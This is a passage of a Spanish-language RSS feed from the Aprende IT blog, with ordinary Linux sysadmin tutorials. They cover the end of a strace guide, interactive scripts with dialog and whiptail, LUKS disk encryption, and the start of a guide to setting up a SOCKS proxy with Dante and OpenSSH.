<p class="md-end-block md-p"><span class="md-pair-s "><strong><span class="md-plain">Revisar el archivo de salida</span></strong></span><span class="md-plain"> en busca de errores comunes (</span><span class="md-pair-s" spellcheck="false"><code>ENOENT</code></span><span class="md-plain">, </span><span class="md-pair-s" spellcheck="false"><code>EACCES</code></span><span class="md-plain">, etc.) usando </span><span class="md-pair-s" spellcheck="false"><code>grep</code></span><span class="md-plain">:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="bash" spellcheck="false"><span role="presentation"><span class="cm-builtin">grep</span> <span class="cm-string">"ENOENT"</span> salida.log</span></pre>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-pair-s "><strong><span class="md-plain">Analizar las llamadas al sistema más lentas</span></strong></span><span class="md-plain"> para detectar cuellos de botella:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="bash" spellcheck="false"><span role="presentation">strace <span class="cm-attribute">-T</span> <span class="cm-attribute">-o</span> salida_tiempos.log mi_programa</span></pre>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-pair-s "><strong><span class="md-plain">Revisar las estadísticas de llamadas al sistema</span></strong></span><span class="md-plain"> para ver si alguna se ejecuta inusualmente a menudo o consume demasiado tiempo:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded" lang="bash" spellcheck="false"><span role="presentation">strace <span class="cm-attribute">-c</span> mi_programa</span></pre>
</li>
</ol>
<h2 class="md-end-block md-heading md-focus"><span class="md-plain">Resumen final</span></h2>
<p class="md-end-block md-p md-focus"><span class="md-pair-s" spellcheck="false"><code>strace</code></span><span class="md-plain md-expand"> es una herramienta poderosa que permite ver la interacción de un programa con el sistema operativo en un nivel profundo. Utilizando filtros y analizando cuidadosamente la salida, puedes identificar problemas de permisos, archivos inexistentes, problemas de red y cuellos de botella de rendimiento.</span></p>
<p>La entrada <a href="https://aprendeit.com/guia-basica-para-utilizar-strace/">Guía Básica para Utilizar strace</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/guia-basica-para-utilizar-strace/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Crear Scripts Interactivos en Linux: Usando Dialog o Whiptail</title>
		<link>https://aprendeit.com/crear-scripts-interactivos-en-linux-usando-dialog-o-whiptail/</link>
					<comments>https://aprendeit.com/crear-scripts-interactivos-en-linux-usando-dialog-o-whiptail/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Mon, 19 Aug 2024 14:14:49 +0000</pubDate>
				<category><![CDATA[Basico-Linux]]></category>
		<category><![CDATA[Sistemas]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=6433</guid>

					<description><![CDATA[<p>En el mundo de la administración de sistemas, es común encontrarse con la necesidad de automatizar tareas a través de shell scripts. Sin embargo, a veces necesitamos hacer que estos ...</p>
<p>La entrada <a href="https://aprendeit.com/crear-scripts-interactivos-en-linux-usando-dialog-o-whiptail/">Crear Scripts Interactivos en Linux: Usando Dialog o Whiptail</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>En el mundo de la administración de sistemas, es común encontrarse con la necesidad de automatizar tareas a través de shell scripts. Sin embargo, a veces necesitamos hacer que estos scripts sean interactivos para facilitar la experiencia del usuario, especialmente en entornos donde no se dispone de una interfaz gráfica completa. Aquí es donde entran en juego herramientas como Dialog y Whiptail.</p>
<p>Tanto Dialog como Whiptail son herramientas que permiten crear interfaces gráficas simples y funcionales dentro de un terminal de texto. Estas herramientas son muy útiles para desarrollar menús, cuadros de diálogo, listas de selección, barras de progreso y mucho más. A lo largo de este artículo, te guiaremos a través de los conceptos básicos y ejemplos prácticos de ambas herramientas para que puedas utilizarlas en tus propios scripts.</p>
<h2>¿Qué es Dialog?</h2>
<p>Dialog es una herramienta de línea de comandos utilizada para generar cuadros de diálogo interactivos en terminales basados en texto. Es ampliamente utilizada en scripts de shell para crear menús interactivos, cuadros de confirmación, formularios, barras de progreso, entre otros.<br />
Dialog permite a los usuarios interactuar con un script a través de una interfaz de usuario basada en texto, lo que es especialmente útil en entornos de servidores donde no se dispone de una interfaz gráfica completa.</p>
<h2>Instalación de Dialog</h2>
<p>Para instalar Dialog en una distribución basada en Debian o Ubuntu, simplemente ejecuta el siguiente comando:</p>
<pre>sudo apt-get update
sudo apt-get install dialog
</pre>
<p>Para distribuciones basadas en Red Hat como CentOS o Fedora:</p>
<pre>sudo yum install dialog
</pre>
<h2>Ejemplos básicos de Dialog</h2>
<h3>Cuadro de mensaje simple</h3>
<p>Este ejemplo muestra un cuadro de mensaje simple que solo tiene un botón «OK»:</p>
<pre>#!/bin/bash
dialog --title "Mensaje" --msgbox "Hola, este es un cuadro de mensaje simple." 6 50
Explicación: En este script, --title define el título del cuadro de diálogo, --msgbox es el tipo de diálogo utilizado, "6 50" son las dimensiones del cuadro (6 líneas de alto y 50 caracteres de ancho).
</pre>
<h3>Menú interactivo</h3>
<p>El siguiente ejemplo crea un menú donde el usuario puede seleccionar una opción:</p>
<pre>#!/bin/bash
opcion=$(dialog --title "Menú Principal" --menu "Selecciona una opción:" 15 50 4
1 "Opción 1"
2 "Opción 2"
3 "Opción 3"
4 "Salir" 3&gt;&amp;1 1&gt;&amp;2 2&gt;&amp;3)

clear

echo "Has seleccionado la opción: $opcion"
</pre>
<p>Explicación: El menú se muestra con opciones numeradas. 3&gt;&amp;1 1&gt;&amp;2 2&gt;&amp;3 se utiliza para redirigir la selección del usuario de vuelta a la salida estándar.</p>
<h3>Lista de selección</h3>
<p>En este ejemplo, el usuario puede seleccionar uno o más elementos de una lista:</p>
<pre>#!/bin/bash
opciones=$(dialog --title "Selección de Paquetes" --checklist "Selecciona los paquetes que deseas instalar:" 15 50 5
1 "Apache" off
2 "MySQL" off
3 "PHP" off
4 "Python" off
5 "Java" off 3&gt;&amp;1 1&gt;&amp;2 2&gt;&amp;3)

clear

echo "Paquetes seleccionados: $opciones"
</pre>
<p>Explicación: &#8211;checklist crea una lista de elementos con casillas de verificación, donde off indica que la casilla está desmarcada por defecto.</p>
<h3>Barra de progreso</h3>
<p>Las barras de progreso son útiles para mostrar el avance de una tarea. Aquí tienes un ejemplo:</p>
<pre>#!/bin/bash
{
for ((i = 0 ; i &lt;= 100 ; i+=10)); do
sleep 1
echo $i
done
} | dialog --title "Progreso" --gauge "Instalando..." 10 70 0
</pre>
<p>Explicación: &#8211;gauge se utiliza para crear una barra de progreso. El bucle for simula el avance de una tarea, incrementando la barra en un 10% cada segundo.</p>
<h2>¿Qué es Whiptail?</h2>
<p>Whiptail es una alternativa ligera a Dialog que también permite crear interfaces interactivas basadas en texto en scripts de shell. Aunque Whiptail ofrece un conjunto similar de funciones, es especialmente útil en sistemas donde Dialog no está disponible o donde se prefiere una herramienta más liviana.<br />
Instalación de Whiptail</p>
<p>Para instalar Whiptail en Debian, Ubuntu y sus derivados:</p>
<pre>sudo apt-get update
sudo apt-get install whiptail
</pre>
<p>En distribuciones como CentOS, Red Hat y Fedora:</p>
<pre>sudo yum install newt
</pre>
<h2>Ejemplos básicos de Whiptail</h2>
<h3>Cuadro de mensaje simple</h3>
<p>Al igual que con Dialog, puedes crear un cuadro de mensaje simple:</p>
<pre>#!/bin/bash

whiptail --title "Mensaje" --msgbox "Este es un mensaje simple usando Whiptail." 8 45
</pre>
<p>Explicación: Este ejemplo es similar al de Dialog, pero utilizando Whiptail. Las dimensiones del cuadro son ligeramente diferentes.</p>
<h3>Menú interactivo</h3>
<p>Crear menús interactivos es sencillo con Whiptail:</p>
<pre>#!/bin/bash

opcion=$(whiptail --title "Menú Principal" --menu "Elige una opción:" 15 50 4 \
"1" "Opción 1" \
"2" "Opción 2" \
"3" "Opción 3" \
"4" "Salir" 3&gt;&amp;1 1&gt;&amp;2 2&gt;&amp;3)

clear

echo "Has elegido la opción: $opcion"
</pre>
<p>Explicación: Este script funciona de manera similar al ejemplo de Dialog, permitiendo al usuario seleccionar una opción de un menú.</p>
<h3>Lista de selección</h3>
<p>Whiptail también permite crear listas de selección con casillas de verificación:</p>
<pre>#!/bin/bash

opciones=$(whiptail --title "Selección de Paquetes" --checklist "Selecciona los paquetes que deseas instalar:" 15 50 5 \
"Apache" "" ON \
"MySQL" "" OFF \
"PHP" "" OFF \
"Python" "" OFF \
"Java" "" OFF 3&gt;&amp;1 1&gt;&amp;2 2&gt;&amp;3)

clear

echo "Paquetes seleccionados: $opciones"
</pre>
<p>Explicación: En este ejemplo, «ON» indica que la casilla de verificación está marcada por defecto, a diferencia del «off» de Dialog.</p>
<h3>Barra de progreso</h3>
<p>Finalmente, aquí tienes un ejemplo de una barra de progreso con Whiptail:</p>
<pre>#!/bin/bash

{
    for ((i = 0 ; i &lt;= 100 ; i+=10)); do
        sleep 1
        echo $i
    done
} | whiptail --gauge "Instalando..." 6 50 0
</pre>
<p>Explicación: Este ejemplo es muy similar al de Dialog, pero usando la sintaxis de Whiptail.</p>
<p>Tanto Dialog como Whiptail son herramientas poderosas y flexibles que permiten a los administradores de sistemas y desarrolladores crear interfaces de usuario interactivas dentro de un terminal. Aunque ambas herramientas son similares en funcionalidad, la elección entre una u otra puede depender de las necesidades específicas del sistema y las preferencias personales.</p>
<p>Dialog es más popular y ampliamente documentado, mientras que Whiptail es una alternativa más ligera que puede ser preferida en sistemas donde la minimización del uso de recursos es crucial.</p>
<p>En este artículo, hemos cubierto los conceptos básicos de Dialog y Whiptail con ejemplos prácticos que te permitirán comenzar a crear tus propios scripts interactivos. Ya sea que necesites un menú simple, un cuadro de mensaje o una barra de progreso, estas herramientas te proporcionarán las funcionalidades necesarias para mejorar la interacción de los usuarios con tus scripts.</p>
<p>Recuerda que la clave para dominar estas herramientas es la práctica. Prueba los ejemplos proporcionados, modifícalos para adaptarlos a tus necesidades, y continúa explorando las múltiples posibilidades que Dialog y Whiptail ofrecen para hacer que tus scripts sean más intuitivos y fáciles de usar.</p>
<h2>Video</h2>
<p><iframe title="YouTube video player" src="https://www.youtube.com/embed/bYXiE2THyHw?si=vGFVDr6SMaeTa4O9" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<h2>Script del video</h2>
<p>A continuación pongo dos scripts de ejemplo de dos menús interactivos:</p>
<p><strong>Dialog</strong></p>
<pre>#!/bin/bash

# Ejemplo de menú usando Dialog
dialog --menu "Seleccione una opción:" 15 50 4 \
1 "Ver información del sistema" \
2 "Mostrar uso del disco" \
3 "Configurar red" \
4 "Salir" 2&gt;seleccion.txt

# Leer la opción seleccionada
opcion=$(cat seleccion.txt)

case $opcion in
    1)
        echo "Mostrando información del sistema..."
        # Aquí irían los comandos correspondientes
        ;;
    2)
        echo "Mostrando uso del disco..."
        # Aquí irían los comandos correspondientes
        ;;
    3)
        echo "Configurando la red..."
        # Aquí irían los comandos correspondientes
        ;;
    4)
        echo "Saliendo..."
        exit 0
        ;;
    *)
        echo "Opción no válida."
        ;;
esac
</pre>
<p>El resultado sería:</p>
<p><img fetchpriority="high" decoding="async" class="alignnone size-full wp-image-6448" src="https://aprendeit.com/wp-content/uploads/2024/08/dialog.png" alt="dialog" width="558" height="366" srcset="https://aprendeit.com/wp-content/uploads/2024/08/dialog.png 558w, https://aprendeit.com/wp-content/uploads/2024/08/dialog-300x197.png 300w, https://aprendeit.com/wp-content/uploads/2024/08/dialog-100x66.png 100w" sizes="(max-width: 558px) 100vw, 558px" /></p>
<p><strong>Whiptail</strong></p>
<pre>#!/bin/bash

# Ejemplo de menú usando Whiptail
opcion=$(whiptail --title "Menú Principal" --menu "Seleccione una opción:" 15 50 4 \
"1" "Ver información del sistema" \
"2" "Mostrar uso del disco" \
"3" "Configurar red" \
"4" "Salir" 3&gt;&amp;1 1&gt;&amp;2 2&gt;&amp;3)

# Verificar la opción seleccionada
case $opcion in
    1)
        echo "Mostrando información del sistema..."
        # Aquí irían los comandos correspondientes
        ;;
    2)
        echo "Mostrando uso del disco..."
        # Aquí irían los comandos correspondientes
        ;;
    3)
        echo "Configurando la red..."
        # Aquí irían los comandos correspondientes
        ;;
    4)
        echo "Saliendo..."
        exit 0
        ;;
    *)
        echo "Opción no válida."
        ;;
esac
</pre>
<p>Con whiptail el resultado sería este otro:</p>
<p><img decoding="async" class="alignnone size-full wp-image-6449" src="https://aprendeit.com/wp-content/uploads/2024/08/whiptail.png" alt="whiptail" width="675" height="421" srcset="https://aprendeit.com/wp-content/uploads/2024/08/whiptail.png 675w, https://aprendeit.com/wp-content/uploads/2024/08/whiptail-300x187.png 300w, https://aprendeit.com/wp-content/uploads/2024/08/whiptail-100x62.png 100w, https://aprendeit.com/wp-content/uploads/2024/08/whiptail-480x300.png 480w, https://aprendeit.com/wp-content/uploads/2024/08/whiptail-640x400.png 640w" sizes="(max-width: 675px) 100vw, 675px" /></p>
<p>Como se puede ver, los resultados son muy parecidos.</p>
<h2>Referencias y documentación</h2>
<p>Para dialog y whiptail podemos encontrar una amplia documentación en <a href="https://invisible-island.net/dialog/dialog.html" target="_blank" rel="noopener">https://invisible-island.net/dialog/dialog.html</a></p>
<p>La entrada <a href="https://aprendeit.com/crear-scripts-interactivos-en-linux-usando-dialog-o-whiptail/">Crear Scripts Interactivos en Linux: Usando Dialog o Whiptail</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/crear-scripts-interactivos-en-linux-usando-dialog-o-whiptail/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cifrado de Particiones y Discos con LUKS en Linux</title>
		<link>https://aprendeit.com/cifrado-de-particiones-y-discos-con-luks-en-linux/</link>
					<comments>https://aprendeit.com/cifrado-de-particiones-y-discos-con-luks-en-linux/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Sun, 12 May 2024 19:07:36 +0000</pubDate>
				<category><![CDATA[Basico-Linux]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sistemas]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=6223</guid>

					<description><![CDATA[<p>Bienvenido al fascinante mundo del cifrado de particiones y discos en Linux mediante LUKS (Linux Unified Key Setup). En este capítulo, exploraremos detalladamente cómo utilizar LUKS para proteger tus datos ...</p>
<p>La entrada <a href="https://aprendeit.com/cifrado-de-particiones-y-discos-con-luks-en-linux/">Cifrado de Particiones y Discos con LUKS en Linux</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Bienvenido al fascinante mundo del cifrado de particiones y discos en Linux mediante LUKS (Linux Unified Key Setup). En este capítulo, exploraremos detalladamente cómo utilizar LUKS para proteger tus datos sensibles mediante el cifrado de tus discos y particiones. Desde la instalación de herramientas necesarias hasta el manejo de comandos especializados, te guiaré paso a paso a través de este proceso crucial para la seguridad de tus datos.</p>
<h2>Instalación de Herramientas Necesarias</h2>
<p>Antes de sumergirnos en el mundo del cifrado con LUKS, es esencial asegurarse de tener las herramientas adecuadas instaladas en tu sistema. Por lo general, la mayoría de las distribuciones de Linux incluyen estas herramientas de cifrado de manera predeterminada, pero siempre es bueno verificarlo.</p>
<p>Puedes instalar las herramientas necesarias utilizando el gestor de paquetes de tu distribución. En distribuciones basadas en Debian, como Ubuntu, puedes ejecutar el siguiente comando en la terminal:</p>
<pre>sudo apt install cryptsetup</pre>
<p>Si estás utilizando una distribución basada en Red Hat, como Fedora o CentOS, puedes instalar las herramientas de cifrado con el siguiente comando:</p>
<pre>sudo dnf install cryptsetup</pre>
<p>Una vez que hayas instalado cryptsetup, estarás listo para comenzar a trabajar con LUKS.</p>
<h2>Creación de un Volumen LUKS</h2>
<p>El primer paso para cifrar una partición o disco en Linux es crear un volumen LUKS. Este volumen actuará como una capa de cifrado que protegerá los datos almacenados en la partición o disco.</p>
<p>Para crear un volumen LUKS, necesitarás especificar la partición o disco que deseas cifrar. Asegúrate de que la partición esté desmontada antes de proceder. Supongamos que queremos cifrar la partición /dev/sdb1. El siguiente comando creará un volumen LUKS en esta partición:</p>
<pre>sudo cryptsetup luksFormat /dev/sdb1</pre>
<p>Este comando iniciará el proceso de creación del volumen LUKS en la partición especificada. Serás solicitado a confirmar esta acción, ya que el proceso borrará todos los datos existentes en la partición. Después de confirmar, se te pedirá que ingreses una contraseña para desbloquear el volumen LUKS en el futuro. Asegúrate de elegir una contraseña segura y recuérdala bien, ya que la necesitarás cada vez que quieras acceder a los datos cifrados.</p>
<p>Una vez completado el proceso, tendrás un volumen LUKS creado en la partición especificada, listo para ser utilizado.</p>
<h2>Apertura y Cierre del Volumen LUKS</h2>
<p>Después de crear un volumen LUKS, el siguiente paso es abrirlo para poder acceder a los datos almacenados en él. Para abrir un volumen LUKS, necesitarás especificar la partición que contiene el volumen y asignarle un nombre.</p>
<pre>sudo cryptsetup luksOpen /dev/sdb1 mi_particion_cifrada</pre>
<p>En este comando, /dev/sdb1 es la partición que contiene el volumen LUKS, y mi_particion_cifrada es el nombre que le estamos asignando al volumen abierto. Una vez que ejecutas este comando, se te pedirá que ingreses la contraseña que especificaste durante la creación del volumen LUKS. Después de ingresar la contraseña correcta, el volumen se abrirá y estará listo para ser utilizado.</p>
<p>Para cerrar el volumen LUKS y bloquear el acceso a los datos cifrados, puedes utilizar el siguiente comando:</p>
<pre>sudo cryptsetup luksClose mi_particion_cifrada</pre>
<p>Este comando cerrará el volumen LUKS con el nombre especificado (mi_particion_cifrada en este caso), lo que impedirá el acceso a los datos almacenados en él hasta que vuelva a abrirse.</p>
<h2>Creación de un Sistema de Archivos en un Volumen LUKS</h2>
<p>Una vez que hayas abierto un volumen LUKS, puedes crear un sistema de archivos en él para comenzar a almacenar datos de forma segura. Puedes utilizar cualquier sistema de archivos compatible con Linux, como xfs, xfs o btrfs.</p>
<p>Supongamos que queremos crear un sistema de archivos xfs en el volumen LUKS abierto (mi_particion_cifrada). El siguiente comando creará un sistema de archivos xfs en el volumen:</p>
<pre>sudo mkfs.xfs /dev/mapper/mi_particion_cifrada</pre>
<p>Este comando formateará el volumen LUKS abierto con un sistema de archivos xfs, lo que te permitirá empezar a almacenar datos en él de manera segura.</p>
<h2>Montaje y Desmontaje de un Volumen LUKS</h2>
<p>Una vez que hayas creado un sistema de archivos en un volumen LUKS, puedes montarlo en el sistema de archivos para acceder a los datos almacenados en él. Para montar un volumen LUKS, puedes utilizar el siguiente comando:</p>
<pre>sudo mount /dev/mapper/mi_particion_cifrada /mnt</pre>
<p>En este comando, /dev/mapper/mi_particion_cifrada es la ruta al dispositivo de bloque que representa el volumen LUKS abierto, y /mnt es el punto de montaje donde se montará el sistema de archivos.</p>
<p>Después de montar el volumen LUKS, puedes acceder a los datos almacenados en él como lo harías con cualquier otro sistema de archivos montado en Linux. Cuando hayas terminado de trabajar con los datos, puedes desmontar el volumen LUKS utilizando el siguiente comando:</p>
<pre>sudo umount /mnt</pre>
<p>Este comando desmontará el sistema de archivos del volumen LUKS, lo que evitará que accedas a los datos almacenados en él hasta que vuelva a montarse.</p>
<h2>Administración de Volumenes LUKS</h2>
<p>LUKS proporciona varias herramientas para administrar volumenes, incluida la capacidad de cambiar la contraseña, agregar claves adicionales y realizar copias de seguridad de las cabeceras de los volumenes.</p>
<p>Para cambiar la contraseña de un volumen LUKS, puedes utilizar el siguiente comando:</p>
<pre>sudo cryptsetup luksChangeKey /dev/sdb1</pre>
<p>Este comando te pedirá la contraseña actual del volumen LUKS y luego te permitirá ingresar una nueva contraseña.</p>
<p>Si deseas agregar una clave adicional al volumen LUKS, puedes utilizar el siguiente comando:</p>
<pre>sudo cryptsetup luksAddKey /dev/sdb1</pre>
<p>Este comando te pedirá la contraseña actual del volumen LUKS y luego te permitirá ingresar una nueva clave adicional.</p>
<p>Para realizar una copia de seguridad de la cabecera de un volumen LUKS, puedes utilizar el siguiente comando:</p>
<pre>sudo cryptsetup luksHeaderBackup /dev/sdb1 --header-backup-file backup_file</pre>
<p>Este comando realizará una copia de seguridad de la cabecera del volumen LUKS en el archivo especificado, lo que te permitirá restaurarla en caso de que se dañe la cabecera del volumen.</p>
<h2>Resumen de comandos para crear volumen cifrado con luks</h2>
<pre>sudo cryptsetup luksFormat /dev/DISCO
sudo cryptsetup luksOpen /dev/DISCO DISCO_DESCIFRADO
sudo mkfs.xfs /dev/mapper/DISCO_DESCIFRADO
sudo mount /dev/mapper/DISCO_DESCIFRADO /ruta_de_montaje</pre>
<h2>Integración con crypttab y fstab</h2>
<p>Una vez que has cifrado una partición o disco utilizando LUKS en Linux, es posible que desees configurar la apertura automática del contenedor LUKS durante el arranque del sistema y montarlo en un punto específico del sistema de archivos. Esto se puede lograr utilizando los archivos de configuración crypttab y fstab.</p>
<h3>Configuración de crypttab</h3>
<p>El archivo crypttab se utiliza para configurar el mapeo automático de dispositivos cifrados durante el proceso de arranque del sistema. Puedes especificar los dispositivos cifrados y sus correspondientes claves de cifrado en este archivo.</p>
<p>Para configurar un dispositivo cifrado en crypttab, primero necesitas conocer el UUID (Identificador Único Universal) del contenedor LUKS. Puedes encontrar el UUID ejecutando el siguiente comando:</p>
<pre>sudo cryptsetup luksUUID /dev/sdb1</pre>
<p>Una vez que tengas el UUID del contenedor LUKS, puedes agregar una entrada en el archivo crypttab para configurar el mapeo automático. Por ejemplo, supongamos que el UUID del contenedor LUKS es 12345678-1234-1234-1234-123456789abc. Puedes agregar la siguiente entrada en el archivo crypttab:</p>
<pre>mi_particion_cifrada UUID=12345678-1234-1234-1234-123456789abc none luks</pre>
<p>También puede hacerse así en este caso sin usar el UUID:</p>
<pre>mi_particion_cifrada /dev/sdb1 none luks</pre>
<p>En esta entrada, mi_particion_cifrada es el nombre que le hemos dado al contenedor LUKS, y UUID=12345678-1234-1234-1234-123456789abc es el UUID del contenedor. La palabra none indica que no se utiliza una clave precompartida y luks especifica que el dispositivo está cifrado con LUKS.</p>
<h3>Configuración de fstab</h3>
<p>Una vez que has configurado el mapeo automático del dispositivo cifrado en crypttab, puedes configurar el montaje automático del sistema de archivos en fstab. El archivo fstab se utiliza para configurar el montaje automático de sistemas de archivos durante el arranque del sistema.</p>
<p>Para configurar el montaje automático de un sistema de archivos en fstab, primero necesitas conocer el punto de montaje y el tipo de sistema de archivos del contenedor LUKS. Supongamos que el punto de montaje es /mnt/mi_particion y el sistema de archivos es xfs. Puedes agregar una entrada en el archivo fstab de la siguiente manera:</p>
<pre>/dev/mapper/mi_particion_cifrada /mnt/mi_particion xfs defaults 0 2</pre>
<p>En esta entrada, /dev/mapper/mi_particion_cifrada es la ruta al dispositivo de bloque que representa el contenedor LUKS abierto, /mnt/mi_particion es el punto de montaje donde se montará el sistema de archivos, xfs es el tipo de sistema de archivos, defaults especifica las opciones de montaje por defecto, y 0 2 especifica las opciones de comprobación del sistema de archivos.</p>
<h3>Recomendaciones con crypptab</h3>
<p>En el caso de un servidor yo no tendría activo el crypttab, es decir, dejaria la configuración puesta pero comentada, al igual que con el fstab, Haría los montajes de forma manual tras un reinicio. Así evitamos tener que usar ficheros de clave y tener algunos problemas derivados</p>
<p><iframe title="YouTube video player" src="https://www.youtube.com/embed/ixfH3Q9QTnw?si=OICHXXKT0GdquIz2" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>La entrada <a href="https://aprendeit.com/cifrado-de-particiones-y-discos-con-luks-en-linux/">Cifrado de Particiones y Discos con LUKS en Linux</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/cifrado-de-particiones-y-discos-con-luks-en-linux/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Crear Proxy SOCKS con Dante y con OpenSSH</title>
		<link>https://aprendeit.com/crear-proxy-socks-con-dante-y-con-openssh/</link>
					<comments>https://aprendeit.com/crear-proxy-socks-con-dante-y-con-openssh/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Mon, 25 Mar 2024 21:25:56 +0000</pubDate>
				<category><![CDATA[Basico-Linux]]></category>
		<category><![CDATA[redes]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Sistemas]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=6145</guid>

					<description><![CDATA[<p>Cómo crear un proxy SOCKS con Dante en Ubuntu En la era digital, mantener la privacidad y seguridad en línea es más crucial que nunca. Una de las maneras de ...</p>
<p>La entrada <a href="https://aprendeit.com/crear-proxy-socks-con-dante-y-con-openssh/">Crear Proxy SOCKS con Dante y con OpenSSH</a> se publicó primero en <a href="https://aprendeit.com">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2>Cómo crear un proxy SOCKS con Dante en Ubuntu</h2>
<p>En la era digital, mantener la privacidad y seguridad en línea es más crucial que nunca. Una de las maneras de proteger tu identidad y datos en la red es a través del uso de un servidor proxy SOCKS. Este tipo de proxy actúa como un intermediario entre tu dispositivo y el internet, ocultando tu dirección IP real y cifrando tu tráfico de internet. En este artículo, te guiaremos paso a paso en cómo configurar tu propio servidor proxy SOCKS en Ubuntu utilizando Dante, un servidor proxy versátil y de alto rendimiento.</p>
<h3>Iniciando la instalación de Dante</h3>
<p>Antes de sumergirnos en la configuración de Dante, es esencial preparar tu sistema y asegurarte de que está actualizado. Para ello, abre una terminal y ejecuta los siguientes comandos:</p>
<pre>sudo apt update
sudo apt install dante-server
</pre>
<p>Estos comandos actualizarán la lista de paquetes de tu sistema y luego instalarán Dante, respectivamente.</p>
<h3>Configuración del archivo danted.conf</h3>
<p>Una vez instalado Dante, el siguiente paso es configurar el servidor proxy. Esto se hace editando el archivo de configuración danted.conf ubicado en /etc/danted/. Para ello, usa tu editor de texto preferido. Aquí, utilizaremos vim:</p>
<pre>vim /etc/danted.conf</pre>
<p>Dentro de este archivo, debes especificar detalles cruciales como las interfaces externa e interna, el método de autenticación y las reglas de acceso. A continuación, te mostramos una configuración ejemplo que puedes ajustar según tus necesidades:</p>
<pre>logoutput: syslog
user.privileged: root
user.unprivileged: nobody

# La interfaz externa (puede ser tu dirección IP pública o el nombre de la interfaz)
external: eth0

# La interfaz interna (usualmente la dirección IP de tu servidor o loopback)
internal: 0.0.0.0 port=1080

# Método de autenticación
socksmethod: username

# Reglas de acceso
client pass {
    from: 0.0.0.0/0 to: 0.0.0.0/0
    log: connect disconnect error
}

# Quién puede utilizar este proxy
socks pass {
    from: 0.0.0.0/0 to: 0.0.0.0/0
    command: bind connect udpassociate
    log: connect disconnect error
    socksmethod: username
}
</pre>
<p>Esta configuración define un servidor SOCKS que escucha en todas las interfaces disponibles (0.0.0.0) en el puerto 1080. Utiliza autenticación por nombre de usuario y permite conexiones desde y hacia cualquier dirección.</p>
<h3>Creación de un usuario para el proxy</h3>
<p>Para que el proxy sea seguro y no esté abierto al público, es necesario crear un usuario específico para la conexión. Esto se logra con los siguientes comandos:</p>
<pre>sudo useradd -r -s /bin/false nombre_usuario
sudo passwd nombre_usuario
</pre>
<p>Aquí, nombre_usuario es el nombre de usuario que deseas para la conexión al proxy. El comando useradd crea el usuario, y passwd te permite asignarle una contraseña.</p>
<h3>Reiniciar y habilitar el servicio Dante</h3>
<p>Con el usuario creado y el archivo de configuración ajustado, es momento de reiniciar el servicio Dante y asegurarse de que se ejecute al inicio del sistema:</p>
<pre>sudo systemctl restart danted.service
sudo systemctl enable danted.service
sudo systemctl status danted.service
</pre>
<p>Además, es importante asegurarse de que el puerto 1080, que es donde escucha el proxy, esté permitido en el firewall:</p>
<pre>sudo ufw allow 1080/tcp
</pre>
<h3>Comprobación de la conexión</h3>
<p>Finalmente, para verificar que todo está funcionando correctamente, puedes probar la conexión a través del proxy con el siguiente comando:</p>
<pre>curl -v -x socks5://nombre_usuario:contraseña@tu_ip_del_servidor:1080 https://cualesmiip.es/
</pre>
<p>Recuerda reemplazar nombre_usuario, contraseña y tu_ip_del_servidor con tus datos específicos. Este comando utilizará tu servidor proxy para acceder a un sitio web que muestra tu dirección IP pública, verificando así que el tráfico realmente está siendo redirigido a través del proxy SOCKS.</p>
<p>Configurar un servidor proxy SOCKS con Dante puede parecer complejo al principio, pero siguiendo estos pasos, podrás tener un poderoso sistema</p>
<p>Puedes configurar un servidor proxy SOCKS5 utilizando OpenSSH en Ubuntu 22.04, lo cual es una alternativa más sencilla y directa en ciertos casos, especialmente para uso personal o en situaciones donde ya tienes un servidor SSH configurado. A continuación, te explico cómo hacerlo:</p>
<h2>Crear un proxy Socks 5 con OpenSSH</h2>
<p>A diferencia de dante, con el cual podemos crear un servicio de proxy con autenticación, con OpenSSH, podemos crear un tunel en un puerto que se puede utilizar de proxy socks sin autenticación por lo que lo conveniente es que se utilice solo para localhost dentro de un solo equipo (luego explicaremos mejor esto)</p>
<h3>Instalación de OpenSSH Server</h3>
<p>Si aún no tienes OpenSSH Server instalado en tu servidor que va a hacer de proxy, puedes instalarlo con el siguiente comando siempre y cuando sea una distribución basada en Debian / Ubuntu:</p>
<pre>sudo apt update
sudo apt install openssh-server
</pre>
<p>Asegúrate de que el servicio está activo y se ejecuta correctamente con:</p>
<pre>sudo systemctl status ssh
</pre>
<h3>Configuración del Servidor SSH (Opcional)</h3>
<p>Por defecto, OpenSSH escucha en el puerto 22. Puedes ajustar configuraciones adicionales editando el archivo /etc/ssh/sshd_config, como cambiar el puerto, restringir el acceso a ciertos usuarios, etc. Si realizas cambios, recuerda reiniciar el servicio SSH:</p>
